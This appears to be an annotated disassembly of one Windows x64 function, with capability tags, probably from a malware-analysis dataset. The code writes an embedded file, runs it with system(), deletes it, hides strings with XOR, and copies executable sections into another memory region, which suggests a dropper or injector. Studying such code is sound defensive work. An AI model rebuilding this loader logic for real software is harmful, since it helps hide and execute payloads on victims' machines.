Function at 0x1400803a0
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Encode data using xor
Execute command
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3020]
mov eax, 0x3120
call fcn.140234360
sub rsp, rax
mov rax, qword [0x1402fd960]
xor rax, rsp
mov qword [rbp + 0x3010], rax
mov r13, r8
mov r12, rdx
movsxd r15, dword [rdx + 0x3c]
add r15, rdx
test r8, r8
jne 0x140080576
lea edx, [r8 + 0xb]
lea rcx, [rbp + 0x1fe8]
call fcn.140080140
nop
movdqa xmm0, xmmword [0x1402ddec0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x77181a45
mov word [rsp + 0x44], 0x100
lea rcx, [rsp + 0x30]
call fcn.140080bd0
mov rdx, rax
lea r8, [rbp + 0x1fe8]
lea rcx, [rsp + 0x70]
call fcn.14008ac70
mov r9, rax
mov dword [rbp + 0x1fc0], 0x7e627c36
mov word [rbp + 0x1fc4], 0x100
lea rcx, [rbp + 0x1fc0]
call fcn.140080c00
mov r8, rax
mov rdx, r9
lea rcx, [rbp + 0x1fc8]
call fcn.14008add0
nop
lea rcx, [rsp + 0x70]
call fcn.140087d80
lea rcx, [rbp + 0x1fc8]
call fcn.1400800d0
mov rcx, rax
mov r8d, 0x3d600
lea rdx, [0x140662c30]
call fcn.140080040
lea ecx, [r13 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1fc8]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea ecx, [r13 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x1fc8]
call fcn.1400800d0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea edx, [r13 + 7]
lea rcx, [rbp + 0x1f90]
call fcn.140080140
movdqa xmm0, xmmword [0x1402ddff0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1402de2e0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1402de0b0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1402de140]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1402de1a0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1402dde10]
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x100
mov rcx, rax
call fcn.140087c00
mov r8, rax
lea rcx, [rbp - 0x70]
call fcn.140080c30
mov rdx, rax
xor ecx, ecx
mov r9d, 0x40010
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x1f90]
call fcn.140087d80
lea ecx, [r13 + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, r13
call fcn.14007fc50
mov r14, rax
test rax, rax
je 0x140080a3b
mov rcx, r13
call fcn.14008ab20
mov qword [rbp + 0x1fc0], rax
test rax, rax
je 0x140080b9c
lea rax, [fcn.14007f460]
lea rcx, [0x14007f260]
sub rax, rcx
mov qword [rsp + 0x58], rax
mov ecx, dword [r15 + 0x50]
lea rbx, [rax + 0x6b]
add rbx, rcx
mov qword [rsp + 0x60], rbx
add r14, 0x1000
add rcx, r14
mov qword [rbp + 0x1fb8], rcx
lea rax, [rcx + 0x6b]
mov qword [rsp + 0x50], rax
mov rdx, r14
lea rcx, [rbp + 0xf90]
call fcn.14008abb0
mov rdx, rax
mov r8d, 0x1000
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x1000
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2010]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.140233f48
mov rdi, rax
mov qword [rsp + 0x68], rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
call fcn.14007f010
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x38], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rcx
mov rax, qword [sym.imp.KERNEL32.dll_Beep]
mov qword [rsp + 0x30], rax
movzx edi, word [r15 + 0x14]
add rdi, 0x28
mov esi, ebx
cmp word [r15 + 6], bx
je 0x1400806ac
add rdi, r15
mov r8d, dword [rdi]
test r8d, r8d
je 0x14008069d
mov edx, dword [rdi + 4]
add rdx, r12
mov ecx, dword [rdi - 4]
add rcx, r14
call fcn.14007f010
inc esi
add rdi, 0x28
movzx eax, word [r15 + 6]
cmp esi, eax
jne 0x140080684
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [r12], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [r12 + 0x10], xmm1
mov qword [0x1402fd9d8], r13
mov rax, qword [rbp + 0x1fc0]
mov qword [0x1402fd9e2], rax
mov qword [0x1402fd9f9], r14
mov rdi, qword [rsp + 0x50]
mov qword [0x1402fda03], rdi
mov r8d, 0x1000
mov rdx, r12
mov rcx, r14
call fcn.14007f010
mov rsi, qword [rsp + 0x58]
mov r8d, esi
lea rdx, [0x14007f260]
mov rcx, rdi
call fcn.14007f010
mov r8d, WSASetLastError
lea rdx, str.QRUVSWAPAQARASATAUAVAWH
mov rcx, qword [rbp + 0x1fb8]
call fcn.14007f010
mov ecx, 4
call fcn.140233cbc
mov rdi, rax
mov rcx, qword [0x1406bd6b0]
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x1400807b8
mov dword [rbp + 0x1fac], ebx
mov dword [rbp + 0x1f90], Ordinal_301
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f94], ecx
mov qword [rbp + 0x1f98], r14
mov dword [rbp + 0x1fa4], 0x40
mov rax, qword [rsp + 0x60]
mov dword [rbp + 0x1fa0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fa8], eax
mov qword [rbp + 0x1fb0], rdi
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fc0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1406bd6b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, 4
call fcn.140233cbc
mov rdi, rax
mov rcx, qword [0x1406bd6b0]
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x140080845
mov dword [rbp + 0x1fac], ebx
mov dword [rbp + 0x1f90], Ordinal_301
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f94], ecx
mov qword [rbp + 0x1f98], r13
mov dword [rbp + 0x1fa4], 4
mov dword [rbp + 0x1fa0], 8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fa8], eax
mov qword [rbp + 0x1fb0], rdi
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fc0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1406bd6b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, 8
lea rdx, [rbp + 0x1fb8]
mov rcx, r13
call fcn.14007f010
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov qword [rbp + 0x1fb0], rbx
mov dword [rbp + 0x1f90], 0x64
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f94], ecx
mov qword [rbp + 0x1f98], r14
lea rax, [rbp + 0x1fc8]
mov qword [rbp + 0x1fa0], rax
mov dword [rbp + 0x1fa8], reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fac], eax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fc0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1406bd6b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rbp + 0x1fe0], rbx
jne 0x14008097d
add edi, 0x1b58
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
ja 0x14008097d
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x1fac], rbx
mov dword [rbp + 0x1fb4], ebx
mov dword [rbp + 0x1f90], 0x64
mov eax, dword [0x1406bd6a8]
mov dword [rbp + 0x1f94], eax
mov qword [rbp + 0x1f98], r14
lea rax, [rbp + 0x1fc8]
mov qword [rbp + 0x1fa0], rax
mov dword [rbp + 0x1fa8], reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fac], eax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fc0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1406bd6b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp qword [rbp + 0x1fe0], rbx
je 0x1400808e3
mov ecx, 4
call fcn.140233cbc
mov rdi, rax
mov rcx, qword [0x1406bd6b0]
dec rcx
cmp rcx, 0xfffffffffffffffd
ja 0x140080a0a
mov dword [rbp + 0x1fac], ebx
mov dword [rbp + 0x1f90], Ordinal_301
mov ecx, dword [0x1406bd6a8]
mov dword [rbp + 0x1f94], ecx
mov qword [rbp + 0x1f98], r13
mov dword [rbp + 0x1fa4], 2
mov dword [rbp + 0x1fa0], 8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x1fa8], eax
mov qword [rbp + 0x1fb0], rdi
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x1fc0]
mov r8d, reloc.WLDAP32.dll_Ordinal_41
lea rdx, [rbp + 0x1f90]
mov rcx, qword [0x1406bd6b0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, 0x1000
lea rdx, [rbp + 0x2010]
mov rcx, r14
call fcn.14007f010
lea r8d, [rsi + 0x6b]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x1fb8]
call fcn.14007f010
mov al, 1
jmp 0x140080b9e
movdqa xmm0, xmmword [0x1402ddcc0]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x45e4c46
mov dword [rsp + 0x44], 0x5f5b4a13
mov dword [rsp + 0x48], 0x550f5e42
mov dword [rsp + 0x4c], 0x1004d5d
xor ebx, ebx
mov ecx, ebx
nop dword [rax]
lea eax, [rcx + 0x18]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x1e
jb 0x140080a70
mov byte [rsp + 0x4f], bl
mov dword [rbp + 0x1fc0], 0x757f6977
mov word [rbp + 0x1fc4], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x18]
xor byte [rbp + rcx + 0x1fc0], al
inc rcx
cmp rcx, 4
jb 0x140080aa0
mov byte [rbp + 0x1fc5], bl
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1fc0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea r8, [0x1406ba9b0]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r8, qword [0x1406ba9b0]
movdqa xmm0, xmmword [0x1402ddcb0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1402de010]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1402de0c0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1402ddc00]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [str._r_tze:_]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1402dde50]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1402de2b0]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x1402de320]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x1402de220]
movdqa xmmword [rbp + 0x10], xmm0
mov word [rbp + 0x20], Ordinal_211
mov byte [rbp + 0x22], 1
lea eax, [rbx + 0x18]
xor byte [rbp + rbx - 0x70], al
inc rbx
cmp rbx, 0x91
jb 0x140080b73
mov byte [rbp + 0x22], 0
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
mov rcx, qword [rbp + 0x3010]
xor rcx, rsp
call fcn.140233900
mov rbx, qword [rsp + 0x3178]
add rsp, 0x3120
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret